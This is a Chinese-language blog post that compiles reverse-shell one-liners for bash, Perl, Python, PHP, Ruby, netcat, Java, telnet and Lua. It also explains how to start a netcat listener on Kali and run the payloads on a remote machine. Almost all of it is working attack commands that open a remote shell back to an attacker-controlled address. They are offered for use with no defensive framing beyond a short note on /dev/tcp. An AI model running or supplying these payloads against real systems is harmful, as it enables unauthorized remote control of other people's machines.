0
点赞
收藏
分享

微信扫一扫

N种反弹shell方法汇总

深夜瞎琢磨 2022-11-14 阅读 62


bash:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl 1:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl 2 不依赖/bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl 3 Windows:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby Windows:

ruby -rsocket -e 'c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Ruby 不依赖 /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NC:

nc -e /bin/sh 10.0.0.1 1234

有些版本的NC可能不支持-e选项
不能使用-e时

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Telnet:

NC不可用或者/dev/tcp不可用时

mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe

Lua:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

如何连接:

先在kali上执行:
nc -nvlp 端口

然后在远程机器上执行上述反弹shell的代码即可,对方系统上安装什么了就用什么,没安装咱就上传一个。

关于 linux中的一个特殊文件: /dev/tcp
有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。


举报

相关推荐

0 条评论